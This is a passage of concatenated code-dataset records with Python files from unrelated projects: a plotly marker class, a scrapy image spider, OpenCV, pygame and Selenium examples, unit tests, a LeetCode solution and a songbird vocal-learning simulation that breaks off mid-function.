'diamond-tall-open-dot',\n                24, '24', 'diamond-wide', 124, '124', 'diamond-wide-open',\n                224, '224', 'diamond-wide-dot', 324, '324',\n                'diamond-wide-open-dot', 25, '25', 'hourglass', 125,\n                '125', 'hourglass-open', 26, '26', 'bowtie', 126, '126',\n                'bowtie-open', 27, '27', 'circle-cross', 127, '127',\n                'circle-cross-open', 28, '28', 'circle-x', 128, '128',\n                'circle-x-open', 29, '29', 'square-cross', 129, '129',\n                'square-cross-open', 30, '30', 'square-x', 130, '130',\n                'square-x-open', 31, '31', 'diamond-cross', 131, '131',\n                'diamond-cross-open', 32, '32', 'diamond-x', 132, '132',\n                'diamond-x-open', 33, '33', 'cross-thin', 133, '133',\n                'cross-thin-open', 34, '34', 'x-thin', 134, '134',\n                'x-thin-open', 35, '35', 'asterisk', 135, '135',\n                'asterisk-open', 36, '36', 'hash', 136, '136',\n                'hash-open', 236, '236', 'hash-dot', 336, '336',\n                'hash-open-dot', 37, '37', 'y-up', 137, '137',\n                'y-up-open', 38, '38', 'y-down', 138, '138',\n                'y-down-open', 39, '39', 'y-left', 139, '139',\n                'y-left-open', 40, '40', 'y-right', 140, '140',\n                'y-right-open', 41, '41', 'line-ew', 141, '141',\n                'line-ew-open', 42, '42', 'line-ns', 142, '142',\n                'line-ns-open', 43, '43', 'line-ne', 143, '143',\n                'line-ne-open', 44, '44', 'line-nw', 144, '144',\n                'line-nw-open', 45, '45', 'arrow-up', 145, '145',\n                'arrow-up-open', 46, '46', 'arrow-down', 146, '146',\n                'arrow-down-open', 47, '47', 'arrow-left', 147, '147',\n                'arrow-left-open', 48, '48', 'arrow-right', 148, '148',\n                'arrow-right-open', 49, '49', 'arrow-bar-up', 149, '149',\n                'arrow-bar-up-open', 50, '50', 'arrow-bar-down', 150,\n                '150', 'arrow-bar-down-open', 51, '51', 'arrow-bar-left',\n                151, '151', 'arrow-bar-left-open', 52, '52',\n                'arrow-bar-right', 152, '152', 'arrow-bar-right-open', 53,\n                '53', 'arrow', 153, '153', 'arrow-open', 54, '54',\n                'arrow-wide', 154, '154', 'arrow-wide-open']\n\n        Returns\n        -------\n        Any\n        \"\"\"\n        return self[\"symbol\"]\n\n    @symbol.setter\n    def symbol(self, val):\n        self[\"symbol\"] = val\n\n    # Self properties description\n    # ---------------------------\n    @property\n    def _prop_descriptions(self):\n        return \"\"\"\\\n        angle\n            Sets the marker angle in respect to `angleref`.\n        color\n            Sets the marker color. It accepts either a specific\n            color or an array of numbers that are mapped to the\n            colorscale relative to the max and min values of the\n            array or relative to `marker.cmin` and `marker.cmax` if\n            set.\n        line\n            :class:`plotly.graph_objects.box.marker.Line` instance\n            or dict with compatible properties\n        opacity\n            Sets the marker opacity.\n        outliercolor\n            Sets the color of the outlier sample points.\n        size\n            Sets the marker size (in px).\n        symbol\n            Sets the marker symbol type. Adding 100 is equivalent\n            to appending \"-open\" to a symbol name. Adding 200 is\n            equivalent to appending \"-dot\" to a symbol name. Adding\n            300 is equivalent to appending \"-open-dot\" or \"dot-\n            open\" to a symbol name.\n        \"\"\"\n\n    def __init__(\n        self,\n        arg=None,\n        angle=None,\n        color=None,\n        line=None,\n        opacity=None,\n        outliercolor=None,\n        size=None,\n        symbol=None,\n        **kwargs,\n    ):\n        \"\"\"\n        Construct a new Marker object\n\n        Parameters\n        ----------\n        arg\n            dict of properties compatible with this constructor or\n            an instance of :class:`plotly.graph_objs.box.Marker`\n        angle\n            Sets the marker angle in respect to `angleref`.\n        color\n            Sets the marker color. It accepts either a specific\n            color or an array of numbers that are mapped to the\n            colorscale relative to the max and min values of the\n            array or relative to `marker.cmin` and `marker.cmax` if\n            set.\n        line\n            :class:`plotly.graph_objects.box.marker.Line` instance\n            or dict with compatible properties\n        opacity\n            Sets the marker opacity.\n        outliercolor\n            Sets the color of the outlier sample points.\n        size\n            Sets the marker size (in px).\n        symbol\n            Sets the marker symbol type. Adding 100 is equivalent\n            to appending \"-open\" to a symbol name. Adding 200 is\n            equivalent to appending \"-dot\" to a symbol name. Adding\n            300 is equivalent to appending \"-open-dot\" or \"dot-\n            open\" to a symbol name.\n\n        Returns\n        -------\n        Marker\n        \"\"\"\n        super(Marker, self).__init__(\"marker\")\n\n        if \"_parent\" in kwargs:\n            self._parent = kwargs[\"_parent\"]\n            return\n\n        # Validate arg\n        # ------------\n        if arg is None:\n            arg = {}\n        elif isinstance(arg, self.__class__):\n            arg = arg.to_plotly_json()\n        elif isinstance(arg, dict):\n            arg = _copy.copy(arg)\n        else:\n            raise ValueError(\n                \"\"\"\\\nThe first argument to the plotly.graph_objs.box.Marker\nconstructor must be a dict or\nan instance of :class:`plotly.graph_objs.box.Marker`\"\"\"\n            )\n\n        # Handle skip_invalid\n        # -------------------\n        self._skip_invalid = kwargs.pop(\"skip_invalid\", False)\n        self._validate = kwargs.pop(\"_validate\", True)\n\n        # Populate data dict with properties\n        # ----------------------------------\n        _v = arg.pop(\"angle\", None)\n        _v = angle if angle is not None else _v\n        if _v is not None:\n            self[\"angle\"] = _v\n        _v = arg.pop(\"color\", None)\n        _v = color if color is not None else _v\n        if _v is not None:\n            self[\"color\"] = _v\n        _v = arg.pop(\"line\", None)\n        _v = line if line is not None else _v\n        if _v is not None:\n            self[\"line\"] = _v\n        _v = arg.pop(\"opacity\", None)\n        _v = opacity if opacity is not None else _v\n        if _v is not None:\n            self[\"opacity\"] = _v\n        _v = arg.pop(\"outliercolor\", None)\n        _v = outliercolor if outliercolor is not None else _v\n        if _v is not None:\n            self[\"outliercolor\"] = _v\n        _v = arg.pop(\"size\", None)\n        _v = size if size is not None else _v\n        if _v is not None:\n            self[\"size\"] = _v\n        _v = arg.pop(\"symbol\", None)\n        _v = symbol if symbol is not None else _v\n        if _v is not None:\n            self[\"symbol\"] = _v\n\n        # Process unknown kwargs\n        # ----------------------\n        self._process_kwargs(**dict(arg, **kwargs))\n\n        # Reset skip_invalid\n        # ------------------\n        self._skip_invalid = False\n","sub_path":"packages/python/plotly/plotly/graph_objs/box/_marker.py","file_name":"_marker.py","file_ext":"py","file_size_in_byte":20271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"574278029","text":"import os\nimport subprocess\n\n\ndef render_movie(output_filename, frames_dir, frame_rate):\n    subprocess.call([\n        'ffmpeg', '-vcodec', 'png', '-framerate',\n        str(frame_rate), '-i',\n        os.path.join(frames_dir, r'frame.%06d.png'), '-pix_fmt', 'yuv420p',\n        '-vcodec', 'libx264', '-crf', '17', '-threads', '0', '-preset', 'slow',\n        '-y', output_filename + '.mp4'\n    ])\n","sub_path":"gwpv/render/movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"161534880","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass RedditWallpapersSpider(scrapy.Spider):\n    name = \"reddit-wallpapers\"\n    allowed_domains = [\"reddit.com\"]\n    start_urls = (\n        'http://www.reddit.com/r/wallpapers',\n    )\n    # custom_settings is a way to define custom settings for each spider\n    custom_settings = {\n        'IMAGES_STORE': '/tmp/reddit-wallpapers'\n    }\n\n    def parse(self, response):\n        for thing in response.css(\"div.thing\"):\n            url = thing.css(\"a.thumbnail ::attr(href)\").extract_first()\n            if url.endswith(\"jpg\"):\n                yield {\n                    'image_urls': [thing.css(\"a.thumbnail ::attr(href)\").extract_first()],\n                }\n","sub_path":"examples/files_example/files_example/spiders/reddit-wallpapers.py","file_name":"reddit-wallpapers.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"104255156","text":"import cv2\nimport numpy as np\n \nimg = np.zeros((512,512,3),np.uint8)\n\ntext = \"Hello Image\"\norg = (100,200)\nfontFace = cv2.FONT_HERSHEY_COMPLEX\nfontScale = 1\ncolor = (0,150,0)\nthickness = 1\ncv2.putText(img, text, org, fontFace, fontScale, color, thickness)\n \ncv2.imshow(\"Image\",img)\ncv2.waitKey(0)","sub_path":"OpenCV/Text.py","file_name":"Text.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"649952297","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time    : 2020/4/10 14:38\n# @Author  : caozhuo\n# @FileName: case_Admin_Necessary_Book_Search_byKeyWords.py\n# @Software: PyCharm\n\nimport json\nimport unittest\nfrom login.templates.admin.account.adminlogin import login_admin\nfrom login.templates.utils import httputils\nfrom login.templates.utils.confutils import getcurrentPath, getAdminName\n\n\nclass case_Necessary_Admin_Topic_Useful_Check(unittest.TestCase):\n\n    def test_necessary_admin_topic_useful_check(self):\n        \"\"\"admin专题管理可用检查\"\"\"\n        # 登录并获取token\n        admin_token = login_admin()\n        # 第一次请求获取资源筛选数据\n        data = {\n            'type': '1',\n            'state': '0',\n            'isTop': '2',\n            'pageNum': '1',\n            'orderBy': '1'\n        }\n        # 请求admin听单管理\n        response = httputils.getadmin(getAdminName('TopicList'), data, admin_token,\n                                      getcurrentPath('TopicList'))\n        print(response.text)\n        json_res = json.loads(response.text)\n        self.assertTrue(len(json_res[\"list\"]) > 0 and json_res[\"status\"] == 0)\n\n    if __name__ == '__main__':\n        unittest.main()\n","sub_path":"login/testcases/cases_ns/admin/case_Necessary_Topic_Useful_Check.py","file_name":"case_Necessary_Topic_Useful_Check.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"560108982","text":"# -*- coding: utf-8 -*-\n# @Time       : 2018/12/20 13:51\n# @Author     : Philly\n# @File       : chp9_7.py\n# @Description: 屏幕录制\n\"\"\"\nCastro是基于跨平台录制工具Pyvnc2swf开发的。它使用VNC协议录制屏幕并生成SWF视频文件\npip install PyGame\npip install Castro      # 只使用到Python2\n\"\"\"\nimport unittest\nfrom selenium import webdriver\nfrom castro import Castro\n\n\nclass SearchProductTest(unittest.TestCase):\n    def setUp(self):\n        # create an instance of Castro and provide name for the output file\n        self.screenCapture = Castro(filename=\"testSe.swf\")\n        # start the recording of movie\n        self.screenCapture.start()\n\n        # create a new Chrome session\n        self.driver = webdriver.Chrome()\n        self.driver.implicitly_wait(30)\n        self.driver.maximize_window()\n\n        # navigate to the application home page\n        self.driver.get(\"http://www.baidu.com\")\n\n    def test_search_by_category(self):\n        # get the search textbox\n        search_field = self.driver.find_element_by_name(\"q\")\n        search_field.clear()\n\n        # enter search keyword and submit\n        search_field.send_keys(\"phones\")\n        search_field.submit()\n\n        # get all the anchor elements which have product names displayed\n        # currently on result page using find_elements_by_xpath method\n        products = self.driver.find_elements_by_xpath(\"\")\n\n        # check count of products shown in results\n        self.assertEqual(2, len(products))\n\n    def tearDown(self):\n        # close the browser window\n        self.driver.quit()\n        # Stop the recording\n        self.screenCapture.stop()\n\nif __name__ == '__main__':\n    unittest.main(verbosity=2)\n\n","sub_path":"selenium_testing/chapter9/chp9_7.py","file_name":"chp9_7.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"172695048","text":"#!/usr/bin/python3\n\n\n\n\nfrom jk_hwriter import *\n\n\nw = HWriter()\nw.write(\"Top level text\")\nw.writeLn()\nw.incrementIndent()\nw.writeLn(\"Indented text 1\")\nw.writeLn(\"Indented\", \"text\", \" 2\")\nw.incrementIndent()\nw.writeLn(\"More indented text 1\")\nw.writeLn()\nw.writeLn()\nw.lineBreak()\nw.lineBreak()\nw.writeLn(\"More indented\", \"text\", \" 2\")\nw.decrementIndent()\nw.decrementIndent()\nw.writeLn([\"Some\", \" more\", \" top\", \" level\", \" text\"])\nw.writeLn(\"End.\")\n\n\nprint(w)\n\n\nprint()\nfor line in w.getLines():\n\tprint(repr(line))\n\n\n\nassert w.getLines() == [\n\t'Top level text',\n\t'\\tIndented text 1',\n\t'\\tIndentedtext 2',\n\t'\\t\\tMore indented text 1',\n\t'',\n\t'',\n\t'\\t\\tMore indentedtext 2',\n\t'Some more top level text',\n\t'End.',\n]\n\n\n\n\n\n\n\n\n","sub_path":"testing/test-HWriter-1.py","file_name":"test-HWriter-1.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"452251013","text":"import random\r\nimport pygame\r\nfrom pygame.locals import *\r\nimport time\r\npygame.init()\r\n\r\nwidth = 1000\r\nheight = 500\r\n\r\nwhite = 255,255,255\r\n\r\nscreen = pygame.display.set_mode((width,height))\r\n\r\ngun_shot = pygame.mixer.Sound(\"assets/shot_sound.wav\")\r\ngameOverMusic = pygame.mixer.Sound(\"assets/gameOver.wav\")\r\nbg = pygame.image.load(\"assets/background.png\")\r\n\r\nzombie_list = []\r\n\r\nfor i in range(4):\r\n    zombie_list.append(pygame.image.load(\"assets/zombie_{}.png\".format(i+1)))\r\n\r\ngun_aim = pygame.image.load(\"assets/aim_pointer.png\")\r\nuser_gun = pygame.image.load(\"assets/gun_2.png\")\r\nspark = pygame.image.load(\"assets/fire_spark.png\")\r\n\r\ndef gameOver():\r\n    font = pygame.font.SysFont(None,80)\r\n    text = font.render('Game Over',True,white)\r\n\r\n    while True:\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                quit()\r\n\r\n        screen.blit(text, (300,200))\r\n\r\n        pygame.display.update()\r\n\r\ndef showTimer(timer):\r\n    font = pygame.font.SysFont(None,50,italic=True)\r\n    text = font.render('Time Left : '+str(timer),True,white)\r\n    screen.blit(text, (width-300,10))\r\n\r\ndef gun_spark(pos_x):\r\n    while True:\r\n        screen.blit(spark, (pos_x + 20, height - 230))\r\n        pygame.display.update()\r\n        time.sleep(0.3)\r\n        break\r\n\r\ndef game():\r\n    zombie_image = random.choice(zombie_list)\r\n    zombie_x = random.randint(0, width - zombie_image.get_width())\r\n    zombie_y = random.randint(0, height - zombie_image.get_height())\r\n\r\n    seconds = 15\r\n    pygame.time.set_timer(USEREVENT, 1000)\r\n\r\n    while True:\r\n\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                quit()\r\n\r\n            elif event.type == USEREVENT:\r\n                seconds -= 1\r\n                # print(seconds)\r\n\r\n            if event.type == pygame.MOUSEBUTTONDOWN:\r\n                gun_shot.play()\r\n                gun_spark(pos_x)\r\n                if zombie_rect.colliderect(aim_rect):\r\n                    zombie_image = random.choice(zombie_list)\r\n                    zombie_x = random.randint(0, width - zombie_image.get_width())\r\n                    zombie_y = random.randint(0, height - zombie_image.get_height())\r\n\r\n        pos_x, pos_y = pygame.mouse.get_pos()\r\n\r\n        screen.blit(bg, (0,0))\r\n        screen.blit(zombie_image, (zombie_x, zombie_y))\r\n        screen.blit(gun_aim, (pos_x - gun_aim.get_width()/2, pos_y - gun_aim.get_height()/2))\r\n        screen.blit(user_gun, (pos_x, height - 200))\r\n\r\n        aim_rect = pygame.Rect(pos_x - gun_aim.get_width()/2, pos_y - gun_aim.get_height()/2, gun_aim.get_width(), gun_aim.get_height())\r\n        zombie_rect = pygame.Rect(zombie_x, zombie_y, zombie_image.get_width(), zombie_image.get_height())\r\n\r\n        showTimer(seconds)\r\n\r\n        if seconds == 0:\r\n            gameOverMusic.play()\r\n            gameOver()\r\n\r\n        pygame.display.update()\r\n\r\ngame()","sub_path":"Pygame/ZombieGame/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"225323647","text":"class Pizza:\n    def __init__(self):\n        self.crust = input(\"What kind of crust would you like?\")\n        self.sauce = input(\"What kind of sauce would you like?\")\n        self.size = input(\"What size would you like? \")\n        self.topping1 = input(\"Please choose a topping: \")\n        self.topping2 = input(\"Please choose a topping: \")\n        self.toppings = [self.topping1, self.topping2]\n\n\n    def add_topping(self):\n        newTopping = input(\"What topping would you like?\")\n        self.toppings.append(newTopping)\n        q = input(\"Would you like to add another topping?\")\n        if q.lower() == \"yes\":\n            self.add_topping()\n        else:\n            self.what_did_I_order_again()\n           \n    \n    def what_did_I_order_again(self):\n        string = \",\".join(self.toppings)\n        print(f'looks like you ordered a {self.size} size pizza , {self.crust} crust with {string} and {self.sauce} style sauce')\n    \n","sub_path":"pizza.py","file_name":"pizza.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"453685004","text":"\"\"\"\n1237. Find Positive Integer Solution for a Given Equation\n\nGiven a function  f(x, y) and a value z, return all positive integer pairs x and y where f(x,y) == z.\n\nThe function is constantly increasing, i.e.:\n\nf(x, y) < f(x + 1, y)\nf(x, y) < f(x, y + 1)\nThe function interface is defined like this: \n\ninterface CustomFunction {\npublic:\n  // Returns positive integer f(x, y) for any given positive integer x and y.\n  int f(int x, int y);\n};\nFor custom testing purposes you're given an integer function_id and a target z as input, where function_id represent one function from an secret internal list, on the examples you'll know only two functions from the list.  \n\nYou may return the solutions in any order.\n\n \n\nExample 1:\n\nInput: function_id = 1, z = 5\nOutput: [[1,4],[2,3],[3,2],[4,1]]\nExplanation: function_id = 1 means that f(x, y) = x + y\nExample 2:\n\nInput: function_id = 2, z = 5\nOutput: [[1,5],[5,1]]\nExplanation: function_id = 2 means that f(x, y) = x * y\n \n\nConstraints:\n\n1 <= function_id <= 9\n1 <= z <= 100\nIt's guaranteed that the solutions of f(x, y) == z will be on the range 1 <= x, y <= 1000\nIt's also guaranteed that f(x, y) will fit in 32 bit signed integer if 1 <= x, y <= 1000\n\"\"\"\n\"\"\"\nintuition:\ndue to problems's unclear expression, so i reference discussion \nTC:O(X+Y)\nSC:O(X)\n\"\"\"\nclass Solution:\n    def findSolution(self, customfunction: 'CustomFunction', z: int) -> List[List[int]]:\n        ans = []\n        y = 1000\n        for x in range(1,1001):\n            while y>1 and customfunction.f(x,y)>z:\n                y-=1\n            if customfunction.f(x,y) == z:\n                ans.append([x,y])\n        return ans\n        \n\nclass Solution:\n    def findSolution(self, customfunction: 'CustomFunction', z: int) -> List[List[int]]:\n        ans=[]\n        #another solution \n        for x in range(1,1000):\n            for y in range(1,1000):\n                returnvalue = customfunction.f(x,y)\n                if z == returnvalue:\n                    ans.append([x,y])\n                elif z< returnvalue:\n                    break\n        return ans ","sub_path":"lc/lc1237.py","file_name":"lc1237.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"286196856","text":"#!/usr/bin/python\n\n# \\todo experiment that songbirds get confused when the song is\n#    played back with a delay? \n# \\todo: normalsirung von allen vektoren und matrizen durch gehen\n# \\todo: PCA (or Seungs nonnegative decomposition) of sound samples to get the image from RA to the sound via a low dim bottle neck\n# \\todo wavelet encodeing: RA burst is on-set of wavelet.16 wavelets scheinen zu reichen\n# \\todo print nature 2006 and nat neursci Lewicksi \"Efficient auditory coding\"\n# \\todo teile neuron wavelet 6 832Hz) auf in 6.1 and 6.2 etc to ensure sparse coding\n# \\todo look up positive matrix decomposition (for sparse coding in RA)\n# \\todo STSRT HERE IN THE NEW YEAR\n#   - try to work out what is going wrong with audio.py as it only can transform sinus wave \n#       - it seems to lower the frequencies\n#       - check the transposes and dimension of the matrices -- are they alligned?\n#       - check also the norm of all.\n#   - try both wavelets and stft\n#   - try to work with formants\n# \\todo \"physical model\" of song/speech syntheseby wave-let pca to\n#    generate a physical model and subspace of speech \n\nimport numpy as np\nfrom scitools.std import *\nimport scipy.fftpack as fftp #.fftpack as fft # this is not the numpy implementation! Sth better available?\nimport ewave as wav\nimport ou\nimport audio\n\nshow_on = False\n\nrate = 10000\n\n# acoustic representation of tutor song -- this is what we start from.\n#song_sound_tut = audio.load_wave(\"caesar_3s.wav\");\nsong_sound_tut = audio.load_wave(\"song_f3.III.wav\");\n\n# duration of subsongs and of tutor song  [steps of 10ms] -- so we are\n# modelling 1 sec here -- realistic length of song?\nT = len(song_sound_tut[0]) \n\n# from audio import *\ndef delayperm(x,n):  # Circles the columns of matrix x to the right by n columns. \n    return np.roll(x, n, axis=1);\n\n# temporary storage for 10ms snipped of song\nsnippet = np.copy([0.0 for _ in xrange(0,100)])\n\nimport birdsong\n\ndef syrinx(beta, alpha):\n    birdsong.finch(beta, alpha, snippet)\n    return fftp.dct(snippet, type=2, norm='ortho')\n\n\n\n\n# lowest and highest value for activitiy clipping:\n\nleast = 0; # -1000\nthreshold = 0.0;\nra_thresh = 0.0;\nsat = 8000\n\n# take the \"membrane potential\" x and applies a threadhold linear function to it:\ndef activation(x, thresh = threshold): \n#    return maximum(x - thresh, 0); // I cant activate this as long as I ask RA to produce the sound direct => 4fold decomposition into positive values only?\n    return x\n#    return x.clip(least, sat)\n\n\n# Learning of the inverse and then the predictive inverse model for song generation. \n# Based on discussions with Richard and Surya, Jan 14, 2011. Bugs etc\n# attributed to Walter (and now also Andre) \n# \n# Shared with Andre Gruning, 2015/10/19. Changes:\n# - Oct 2015: updating comments\n# - Oct 2015:  translate to python\n# - 2015/11/02: replace random drive with fixed drive.\n# - 2015/11/02: rename variable to better fit our current terminology\n# - 2015/11/02: change from random drive of RA during inversion\n#               learning to drive with one fixed pattern.\n# - 2015/11/02: add error between actual sound and predicted sound via\n#               LMAN\n# - 2015/11/02  switch driving from direct injection into RA to\n#               injection via HVC -- leads to same error of\n#               causal-inverse learning.\n# - 2015/11/02  start weight copying in phase 2\n# - 2015/11/02  HVC branch: implement HVC as a clock.\n# - 2015/11/10  rectify plots and legends\n# - 2015/11/16  ready to demonstrateo\n# - 2015/11/16  implement Phase A\n# - 2015/12/07  implement threshold\n# - 2015/12/08  implement large and sparse RA\n# - 2016/03/15  in the process of replacing S with a modelled syrinx\n\n\n# dimension of song, ie number of \"acoustic\" degrees of freedom\nn_sound = 100 # 50 # 100 # 50 # 200; # was 20, or 50\n\n# number of motor neurons (RA)\nn_ra = 2 # n_sound #* 5;\n\n# degrees of freedom of the vocal tract:\nn_syrinx = 2\n\n# number of auditory neurons which receive the sound and convert into neural activity.\nn_aud = n_sound;\n\n# number of neurons in LMAN \nn_lman = n_aud;\n\n# Number of HVC clock neurons -- one time step is 10ms\nn_hvc = T;\n\n# Delay of auditory activity with respect to the generating motor\n# activity (syrinx + auditory pathway) [70ms]  \ntau = 7; \n\n# learning steps for model \nn_learn = 1000 #2 # 4000 #10 # 8000 # 150 # 1000 # 8000 # 4000 # 1200 # 2000 # 600 \n\neta_lman = 0.002 # 0.05 # learning rate for inverse model via lman\n# -- that # seems to be sufficient. higfher learning rates in the\n# order of 0.005,\n# lead to oscilations, 0.003 to fluctations , 0.0001 is too small.\n\n# learning rate for weight copying \neta_hvc = 0.001 # 0.01 # one shot learning does not explore the inverse map sufficiently.\n\n# Parameter to regularize the matrices \n# epsi = 1/10; \n\n\n# weights between RA and the syrinx degrees of freedom (the syrinx is the bottle neck re degrees of freedom) \n\n#w_mot = np.eye(n_syrinx, n_ra) #/ sqrt(sqrt(n_ra));\nw_mot = np.random.randn(n_syrinx, n_ra) / sqrt(n_ra) / 10 ;\n\n# syrinx; converts the motor activity signal to the syrinx m into a sound (in frequency domain)\n# S = (np.random.randn(n_sound,n_mot)) / sqrt(n_mot); #+ epsi*np.eye(n_sound,n_mot)) \n# S = np.eye(n_sound, n_syrinx);\n\n# auditory pathway; converts the song into an auditory (frequence domain) signal for aud\n# neurons (here just a matrix)\nA = np.random.randn(n_aud, n_sound) / sqrt(n_sound); \n# + epsi*np.ones((n_aud, n_sound))) / sqrt(n_sound); \n\n# Total RA to auditory transformation. \n#M=A.dot(S).dot(w_mot); \n\n# mot activation of the tutor (necessary to generate a singable song\n# song_mot_tut = activation(np.random.randn(n_mot,T));\n\n# song_mot_tut = np.reshape(ou.ou(n_mot*T), (n_mot,T));\n# song_mot_tut = np.random.randn(n_mot,T);\n# song_sound_tut = np.random.randn(n_sound,T); \n\n\n# weights between HVC and LMAN that hold the imprinted tutor song:\nw_mem = np.zeros((n_lman, n_hvc));\n\n# imprint tutor memory, song is the (n_sound,T) acoustic representation of the tutor song:\n# assume that HVC has a one-hot encoding for each time step:\n# It is actually futile to implement that, as the former direct\n# once-forever calculation of song_aud_tut does mathematically the\n# same (as long HVC is a one hot encoding) \n# I guess one could also formulate this more generally as a product between (transposed) matrices:\ndef phaseA(song):\n    \n    global w_mem;\n\n    # auditory representation of the song, ie as perceived by the bird:\n    song_aud_tut = A.dot(song); \n    \n    # imprint song into memory connections, however delayed by tau steps as\n    # only the tauth HVC neuron shall evoke the first part of the song:\n    w_mem = delayperm(song_aud_tut, tau);\n\n    \nphaseA(song_sound_tut);\n    \n\n# initial weight matrix converting the auditory representation from\n# LMAN into RA motor activity (inverse model) \n# R = np.linalg.inv(M)\n# w_lman =np.random.randn(n_ra,n_lman) / sqrt(n_lman); \nw_lman =np.random.randn(n_ra,n_lman) / sqrt(n_lman); # higher weights to work with sparse representations?\n\n# w_lman = R  # injection of inverse matrix\n\n# hvc just gives the rhythm, by having a neurons burst for 10ms at\n# each time step:\nhvc_soma = np.eye(n_hvc, T);\n\n# w_hvc = np.random.uniform(-1,1,(n_ra, n_hvc)) # / sqrt(n_hvc); # no\nw_hvc = np.random.randn(n_ra, n_hvc) # / sqrt(n_hvc); # random start of hvc weights.\n\n# Initialize error values for each learning step\ne_lman_sound = np.zeros(n_learn);\ne_potential = np.zeros(n_learn);\ne_hvc_sound = np.zeros(n_learn);\n\nn_pretraining =  1000 # 2000;  # 0 # 1400;  # 500; #1000;\n\ndef phaseC0(): \n\n    global w_lman;\n\n    # Phase C0 -- Causal Inverse Learning.\n    # - random driving, \n    # - LMAN reflects auditory input,\n    # - LMAN synapse is learning the inverse model.\n    # - LMAN dendrite subject to shunting inhibtion, ie RA soma is\n    #   equal to potential of HVC dendrite.\n    # - HVC not learning.\n\n    # Random drive on  RA during imitation learning\n    ra_soma = activation(w_hvc.dot(hvc_soma), ra_thresh);\n\n    syrinx_soma = w_mot.dot(ra_soma)\n    # auditory activity produced by the random activity:\n    syrinx_out = np.array(map(syrinx, syrinx_soma[0], syrinx_soma[1])).T\n    aud_soma = activation(delayperm(A.dot(syrinx_out),tau)) \n    lman_soma = aud_soma\n\n    # motor activity predicted from the auditory activity (ie\n    # potential on RA dendrite from LMAN:\n    ra_pred = activation(w_lman.dot(lman_soma))\n\n    # syrinx predicted from LMAN activity:\n    syrinx_pred = w_mot.dot(ra_pred); \n    # sound fft from syring\n    sound_pred = map(syrinx, syrinx_pred[0], syrinx_pred[1])\n\n    # Difference between actual RA activity and predicted (via lman)\n    # for learning rule:\n    diff_ra_lman=(delayperm(ra_soma, tau) - ra_pred); \n\n    # weight change, postdictive learning, need trace of prior motor activity:\n    dw_lman=diff_ra_lman.dot(aud_soma.T).clip(-10,10); # clip required for higher learning rates \n\n    # apply weight change\n    w_lman=w_lman+eta_lman*dw_lman; \n\nfor _ in xrange(0,n_pretraining):\n    phaseC0();\n\ndef phaseC(): # causal inverse learning\n\n    global w_lman\n\n    # Phase C -- Causal Inverse Learning.\n    # \"learning the inverse model from  babbling a subsong from HVC\"\n    # trying to reproduce the motor pattern it generated  \n    # ie this is prospective learning.\n    # - HVC is driving, \n    # - LMAN reflects auditory input,\n    # - LMAN synapse is learning the inverse model.\n    # - LMAN dendrite subject to shunting inhibtion, ie RA soma is\n    #   equal to potential of HVC dendrite.\n    # - HVC not learning\n\n    # HVC drives RA during imitation learning\n    lamb = 1.0 # setting this to values different from zero makes it\n    # worse (due to the time lag between HVC and LMAN?) -- test again\n    #    ra_soma = lamb * w_hvc.dot(hvc_soma).clip(least,sat) # + (1-lamb)*w_lman.doc(lman_soma);\n    ra_soma = activation(lamb * w_hvc.dot(hvc_soma), ra_thresh) \n\n    # auditory activity produced by the sub song \n\n\n\n    syrinx_soma = w_mot.dot(ra_soma)\n    syrinx_out = np.array(map(syrinx, syrinx_soma[0], syrinx_soma[1]))\n\n    aud_soma = activation(delayperm(A.dot(syrinx_out.T),tau)) #.clip(least,sat); \n\n    # lman soma is a convex mix of auditory input and imprinted tutor memory:\n    # mu = fraction of memory in the mixture.\n    #    mu = 0.95  # 0.5 # 0.99 --\n    mu = 0.8\n    lman_soma = activation((1-mu) * aud_soma  + mu * w_mem.dot(hvc_soma))\n\n    # motor activity predicted from the auditory activity (ie\n    # potential on RA dendrite from LMAN:\n    ra_pred = activation(w_lman.dot(lman_soma)) #.clip(least,sat); \n\n    # sound predicted from LMAN activity:\n    syrinx_pred = w_mot.dot(ra_pred)\n    sound_pred = map(syrinx, syrinx_pred[0], syrinx_pred[1]) \n\n    # Difference between actual RA activity and predicted (via lman)\n    # for learning rule:\n    diff_ra_lman=(delayperm(ra_soma, tau) - ra_pred); \n\n    # Difference between LMAN-predicted song activty and actual HVC\n    # song:\n\n    syrinx_pred = w_mot.dot(ra_soma)\n    syrinx_out = map(syrinx, syrinx_pred[0], syrinx_pred[1])\n    diff_sound_lman = (delayperm(syrinx_out,tau) - sound_pred); \n    # \\todo: simplify the above -- all is linear  \n\n    # weight change: dw = (m_t-Delta - ra_pred_t) * a (postdictive\n    # learning, need trace of prior motor activity) for weights from\n    # auditory to motoric representation.\n    dw_lman=diff_ra_lman.dot(aud_soma.T).clip(-10,10); # clipping\n    # seems necessay here for numeric stability\n\n    # apply weight change\n    w_lman=w_lman+eta_lman*dw_lman; \n\n    # MSE between LMAN prediction of sound and HVC song:\n    